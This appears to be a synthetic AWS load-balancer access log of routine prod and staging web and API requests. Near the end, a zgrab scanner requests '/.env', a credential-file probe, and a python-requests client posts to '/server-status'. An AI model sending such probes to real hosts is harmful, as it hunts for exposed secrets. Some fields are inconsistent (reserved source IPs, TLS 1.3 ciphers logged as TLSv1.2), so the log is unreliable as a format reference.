ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c468-415b32fa10ee4178ac26ee4a" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:48.173263Z "forward" "-" "-" "10.0.171.246:443" "200" "-" "-" +https 2024-11-01T00:54:49.755351Z prod-api-alb 20.165.153.17:10803 10.0.162.153:443 0.037466 0.086575 0.036307 200 200 86 10606 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c469-f5c043a8bc584f3ba14d5b35" "prod-api-alb.example.com" "-" 9 2024-11-01T00:54:49.755351Z "forward" "-" "-" "10.0.162.153:443" "200" "-" "-" +https 2024-11-01T00:54:51.551069Z prod-web-alb 17.42.214.51:50494 10.0.56.177:443 0.072366 0.488559 0.064468 301 301 93 11052 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c46b-66a9db8398354567a1ad4eed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:51.551069Z "forward" "-" "-" "10.0.56.177:443" "301" "-" "-" +https 2024-11-01T00:54:52.261605Z prod-web-alb 110.232.185.226:59136 10.0.123.160:443 0.061547 0.002766 0.047682 200 200 207 12636 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c46c-f408272321af426486ca96e3" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:52.261605Z "forward" "-" "-" "10.0.123.160:443" "200" "-" "-" +http 2024-11-01T00:54:53.976043Z staging-alb 169.156.89.216:37604 97.78.251.98:8080 0.107738 0.649950 0.079432 404 404 217 11343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c46d-3cc456eb96df4843999c7ec0" "staging-alb.example.com" "-" 7 2024-11-01T00:54:53.976043Z "forward" "-" "-" "97.78.251.98:8080" "404" "-" "-" +http 2024-11-01T00:54:54.980097Z staging-alb 85.27.243.180:57251 203.90.242.18:80 0.025579 0.045511 0.062907 302 302 612 8422 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c46e-ef5f5cabcaeb49eba1836ff1" "staging-alb.example.com" "-" 9 2024-11-01T00:54:54.980097Z "forward" "-" "-" "203.90.242.18:80" "302" "-" "-" +https 2024-11-01T00:54:55.976478Z prod-api-alb 187.74.126.10:35567 10.0.151.66:443 0.006233 0.262684 0.020172 200 200 497 1034 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c46f-d635b27119644599b8fdc05a" "prod-api-alb.example.com" "-" 5 2024-11-01T00:54:55.976478Z "forward" "-" "-" "10.0.151.66:443" "200" "-" "-" +https 2024-11-01T00:54:56.269444Z prod-web-alb 19.208.129.76:37249 10.0.61.152:443 0.076462 0.292064 0.034209 301 301 810 13449 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c470-df6a37ac214a414fb778fe5d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:54:56.269444Z "forward" "-" "-" "10.0.61.152:443" "301" "-" "-" +https 2024-11-01T00:54:57.811897Z prod-api-alb 20.16.125.234:17633 10.0.9.166:443 0.049178 0.189305 0.006597 301 301 271 10951 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c471-1bb798e0657e4bc08945a37a" "prod-api-alb.example.com" "-" 3 2024-11-01T00:54:57.811897Z "forward" "-" "-" "10.0.9.166:443" "301" "-" "-" +https 2024-11-01T00:54:59.657191Z prod-web-alb 47.111.112.5:55309 10.0.96.252:443 0.024871 0.434046 0.057110 301 301 185 7369 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c473-469ce686dfc741e187762707" "-" "-" 0 2024-11-01T00:54:59.657191Z "forward" "-" "-" "10.0.96.252:443" "301" "-" "-" +https 2024-11-01T00:55:00.470829Z prod-api-alb 150.45.48.75:41953 10.0.213.127:443 0.076954 0.451893 0.088819 301 301 565 14738 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c474-6aa31082fa814939b03f4192" "prod-api-alb.example.com" "-" 5 2024-11-01T00:55:00.470829Z "forward" "-" "-" "10.0.213.127:443" "301" "-" "-" +http 2024-11-01T00:55:01.277923Z staging-alb 224.39.102.203:55879 191.212.17.12:80 0.087394 0.259727 0.036363 404 404 276 3805 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c475-8d91363ef1fd4ec1be8894cd" "staging-alb.example.com" "-" 6 2024-11-01T00:55:01.277923Z "forward" "-" "-" "191.212.17.12:80" "404" "-" "-" +https 2024-11-01T00:55:02.556479Z prod-web-alb 101.230.120.39:19160 10.0.50.90:443 0.052982 0.362942 0.040248 200 200 191 10121 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c476-4e15b83ff76d4f69b4b45387" "prod-web-alb.example.com" "-" 1 2024-11-01T00:55:02.556479Z "forward" "-" "-" "10.0.50.90:443" "200" "-" "-" +https 2024-11-01T00:55:03.806655Z prod-api-alb 187.144.24.111:34927 10.0.149.29:443 0.070458 0.059273 0.059383 200 200 923 5722 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c477-cb5487e4806a40a1b8cd25bc" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:03.806655Z "forward" "-" "-" "10.0.149.29:443" "200" "-" "-" +https 2024-11-01T00:55:03.912339Z staging-alb 68.142.125.83:24456 214.129.15.39:8080 0.088207 0.248130 0.071521 200 200 243 4970 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c477-cf25d886a96d42eb9d87cf0d" "staging-alb.example.com" "-" 3 2024-11-01T00:55:03.912339Z "forward" "-" "-" "214.129.15.39:8080" "200" "-" "-" +https 2024-11-01T00:55:04.947360Z staging-alb 251.224.223.33:14650 87.2.181.17:8080 0.088222 0.399162 0.054003 200 200 224 4220 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c478-4a01443b44fe49078783bf81" "staging-alb.example.com" "-" 10 2024-11-01T00:55:04.947360Z "forward" "-" "-" "87.2.181.17:8080" "200" "-" "-" +http 2024-11-01T00:55:06.489162Z staging-alb 74.221.199.203:20177 123.193.0.0:8080 0.120882 0.306528 0.111106 302 302 246 2489 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c47a-8b41612667594dbd93e5c5e8" "staging-alb.example.com" "-" 4 2024-11-01T00:55:06.489162Z "forward" "-" "-" "123.193.0.0:8080" "302" "-" "-" +https 2024-11-01T00:55:08.338915Z prod-web-alb 64.111.118.107:39025 10.0.165.41:443 0.025583 0.346409 0.081656 200 200 905 11771 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c47c-8a9283d9ac3d4d38a6cd01f8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:08.338915Z "forward" "-" "-" "10.0.165.41:443" "200" "-" "-" +http 2024-11-01T00:55:09.513724Z staging-alb 254.55.27.157:55943 83.182.179.101:443 0.100034 0.568089 0.041582 302 302 872 11820 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c47d-f8a1bc6d2d6044129c0069bb" "staging-alb.example.com" "-" 2 2024-11-01T00:55:09.513724Z "forward" "-" "-" "83.182.179.101:443" "302" "-" "-" +https 2024-11-01T00:55:09.970030Z prod-web-alb 43.29.145.93:56196 10.0.8.89:443 0.055185 0.392723 0.035477 200 200 991 8602 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c47d-1d96463818984b6f9e83ba47" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:09.970030Z "forward" "-" "-" "10.0.8.89:443" "200" "-" "-" +https 2024-11-01T00:55:11.911662Z staging-alb 42.163.34.178:31480 226.47.100.102:8080 0.070722 0.318476 0.073295 404 404 183 10336 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c47f-f2ded63185574c3881e04657" "staging-alb.example.com" "-" 10 2024-11-01T00:55:11.911662Z "forward" "-" "-" "226.47.100.102:8080" "404" "-" "-" +https 2024-11-01T00:55:13.448859Z prod-web-alb 222.10.207.44:11192 10.0.220.29:443 0.048580 0.394762 0.020450 200 200 325 13559 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c481-6779096bd0dd44aa979f15fe" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:13.448859Z "forward" "-" "-" "10.0.220.29:443" "200" "-" "-" +http 2024-11-01T00:55:14.599912Z staging-alb 206.171.64.223:57258 58.112.195.191:80 0.144386 0.665484 0.132081 200 200 770 5946 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c482-a86985401e47442c963cb678" "staging-alb.example.com" "-" 0 2024-11-01T00:55:14.599912Z "forward" "-" "-" "58.112.195.191:80" "200" "-" "-" +https 2024-11-01T00:55:16.142813Z prod-api-alb 188.131.42.13:15160 10.0.182.167:443 0.056842 0.224827 0.048830 301 301 190 2382 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c484-0bff5ffdf654422c9f0dbcde" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:16.142813Z "forward" "-" "-" "10.0.182.167:443" "301" "-" "-" +https 2024-11-01T00:55:16.815403Z prod-api-alb 96.25.189.224:62568 10.0.180.69:443 0.056192 0.347434 0.074754 302 302 348 13380 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c484-e434ed1390e542fb9d1a36cf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:16.815403Z "forward" "-" "-" "10.0.180.69:443" "302" "-" "-" +https 2024-11-01T00:55:17.463100Z prod-api-alb 178.105.83.168:15339 10.0.193.193:443 0.000815 0.131944 0.018893 200 200 63 9550 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c485-9d6b273dec8a4fcc8f65f8c6" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:17.463100Z "forward" "-" "-" "10.0.193.193:443" "200" "-" "-" +https 2024-11-01T00:55:18.574975Z prod-web-alb 18.178.16.235:60767 10.0.43.99:443 0.065975 0.408286 0.000707 200 200 517 252 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c486-535e8e9058694061aba6722b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:18.574975Z "forward" "-" "-" "10.0.43.99:443" "200" "-" "-" +https 2024-11-01T00:55:19.163808Z prod-web-alb 237.61.114.50:11232 10.0.13.207:443 0.091858 0.365348 0.097685 200 200 872 9239 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c487-2b87c6ae86cc41a5b8d9a8d8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:55:19.163808Z "forward" "-" "-" "10.0.13.207:443" "200" "-" "-" +https 2024-11-01T00:55:20.649036Z prod-api-alb 53.169.244.229:12219 10.0.213.201:443 0.002918 0.256327 0.049410 301 301 184 7395 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c488-943a4df5c13041058ca0a2fb" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:20.649036Z "forward" "-" "-" "10.0.213.201:443" "301" "-" "-" +https 2024-11-01T00:55:21.620644Z prod-web-alb 99.253.223.86:45807 10.0.204.115:443 0.072491 0.120080 0.050342 200 200 920 6901 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c489-4fec0a76ac46468b93196188" "prod-web-alb.example.com" "-" 2 2024-11-01T00:55:21.620644Z "forward" "-" "-" "10.0.204.115:443" "200" "-" "-" +http 2024-11-01T00:55:23.068876Z staging-alb 90.234.2.178:21389 223.56.166.36:80 0.120937 0.327582 0.058616 404 404 320 1552 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c48b-95762b0c982140a1af18d190" "staging-alb.example.com" "-" 1 2024-11-01T00:55:23.068876Z "forward" "-" "-" "223.56.166.36:80" "404" "-" "-" +https 2024-11-01T00:55:23.417085Z prod-api-alb 254.137.82.169:11354 10.0.16.184:443 0.096659 0.276285 0.053473 404 404 54 11965 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c48b-1817d626b85143c9833dd0c4" "prod-api-alb.example.com" "-" 5 2024-11-01T00:55:23.417085Z "forward" "-" "-" "10.0.16.184:443" "404" "-" "-" +https 2024-11-01T00:55:24.684913Z staging-alb 43.46.124.108:40786 197.237.0.36:443 0.005636 0.434027 0.105478 200 200 834 6188 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c48c-0d7b0a3511c3432b831b0741" "staging-alb.example.com" "-" 2 2024-11-01T00:55:24.684913Z "forward" "-" "-" "197.237.0.36:443" "200" "-" "-" +http 2024-11-01T00:55:25.697670Z staging-alb 58.237.26.238:46287 43.149.217.83:80 0.108358 0.609213 0.087928 200 200 615 12926 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c48d-a8a11725f4a249f5bcbafc54" "staging-alb.example.com" "-" 1 2024-11-01T00:55:25.697670Z "forward" "-" "-" "43.149.217.83:80" "200" "-" "-" +https 2024-11-01T00:55:27.333267Z prod-web-alb 193.27.228.71:48003 10.0.61.95:443 0.044828 0.493916 0.018382 500 500 609 1042 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c48f-4449e347e34f44e1bfd4304d" "-" "-" 2 2024-11-01T00:55:27.333267Z "forward" "-" "-" "10.0.61.95:443" "500" "-" "-" +https 2024-11-01T00:55:27.603240Z prod-web-alb 104.187.192.21:41407 10.0.156.14:443 0.052945 0.450766 0.060126 200 200 298 8488 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c48f-a5665b269fa349d8bf1ff059" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:27.603240Z "forward" "-" "-" "10.0.156.14:443" "200" "-" "-" +https 2024-11-01T00:55:28.269573Z prod-web-alb 251.23.227.146:55001 10.0.31.56:443 0.000609 0.473018 0.007657 404 404 653 1506 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c490-1fdff743322f4ef78a33914c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:28.269573Z "forward" "-" "-" "10.0.31.56:443" "404" "-" "-" +https 2024-11-01T00:55:28.583076Z staging-alb 0.61.226.238:64996 0.16.191.40:8080 0.044467 0.292453 0.126936 200 200 611 4385 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c490-04100906d18743f686ed3906" "staging-alb.example.com" "-" 2 2024-11-01T00:55:28.583076Z "forward" "-" "-" "0.16.191.40:8080" "200" "-" "-" +https 2024-11-01T00:55:29.573759Z prod-api-alb 33.180.176.88:36959 10.0.173.131:443 0.082287 0.023944 0.065854 301 301 658 3666 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c491-0e0e79d87ae44ba7991c0279" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:29.573759Z "forward" "-" "-" "10.0.173.131:443" "301" "-" "-" +https 2024-11-01T00:55:30.007042Z prod-web-alb 226.77.174.157:13123 10.0.240.65:443 0.049750 0.063126 0.095789 404 404 229 3729 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-f173965a624d49a0976b8323" "prod-web-alb.example.com" "-" 2 2024-11-01T00:55:30.007042Z "forward" "-" "-" "10.0.240.65:443" "404" "-" "-" +https 2024-11-01T00:55:30.773020Z prod-web-alb 226.192.112.8:55357 10.0.70.135:443 0.088313 0.024401 0.059600 200 200 189 2976 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-2afb6121f9e846abae2e4ce6" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:30.773020Z "forward" "-" "-" "10.0.70.135:443" "200" "-" "-" +https 2024-11-01T00:55:30.971977Z prod-web-alb 114.101.75.42:51432 10.0.240.162:443 0.058359 0.178613 0.070842 200 200 837 7622 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-86b6b3600c954730a8f0f1d5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:55:30.971977Z "forward" "-" "-" "10.0.240.162:443" "200" "-" "-" +https 2024-11-01T00:55:31.381567Z prod-api-alb 26.145.233.175:21387 10.0.97.25:443 0.053891 0.012058 0.099429 404 404 663 4906 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c493-7706ed6f3a884815a6b3c12a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:55:31.381567Z "forward" "-" "-" "10.0.97.25:443" "404" "-" "-" +http 2024-11-01T00:55:31.727521Z staging-alb 6.143.94.26:32287 6.122.62.228:8080 0.062749 0.314237 0.054607 301 301 20 7128 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c493-f86a9de408304f1f8c479b84" "staging-alb.example.com" "-" 4 2024-11-01T00:55:31.727521Z "forward" "-" "-" "6.122.62.228:8080" "301" "-" "-" +http 2024-11-01T00:55:32.144770Z staging-alb 45.155.205.47:20417 218.146.48.75:8080 0.149273 0.091712 0.082105 403 403 191 14223 "POST /.env HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c494-8ec5ec9f91f64807a2186845" "-" "-" 4 2024-11-01T00:55:32.144770Z "forward" "-" "-" "218.146.48.75:8080" "403" "-" "-" +https 2024-11-01T00:55:33.881925Z prod-web-alb 195.223.233.67:21230 10.0.176.248:443 0.048763 0.328618 0.053603 301 301 639 11223 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c495-d6f4b9a96e8248c5a690c726" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:33.881925Z "forward" "-" "-" "10.0.176.248:443" "301" "-" "-" +https 2024-11-01T00:55:35.022263Z prod-web-alb 102.124.16.55:26778 10.0.140.217:443 0.037692 0.257893 0.096439 200 200 433 4178 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c497-63b50998c1e44957bd60d88d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:55:35.022263Z "forward" "-" "-" "10.0.140.217:443" "200" "-" "-" +https 2024-11-01T00:55:36.575359Z prod-web-alb 65.129.33.114:63646 10.0.112.47:443 0.021473 0.265917 0.002760 301 301 98 13543 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c498-880da5cbd6de4ec2a5143a74" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:36.575359Z "forward" "-" "-" "10.0.112.47:443" "301" "-" "-" +https 2024-11-01T00:55:37.008454Z prod-api-alb 93.17.218.94:34242 10.0.7.12:443 0.070656 0.166436 0.088275 302 302 694 2436 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c499-968f3810453847318835ac4f" "prod-api-alb.example.com" "-" 7 2024-11-01T00:55:37.008454Z "forward" "-" "-" "10.0.7.12:443" "302" "-" "-" +http 2024-11-01T00:55:37.997426Z staging-alb 102.9.166.101:39324 202.195.115.40:443 0.069405 0.463932 0.137691 302 302 880 8875 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c499-5f4a398dee9442ab8e1a3d27" "staging-alb.example.com" "-" 2 2024-11-01T00:55:37.997426Z "forward" "-" "-" "202.195.115.40:443" "302" "-" "-" 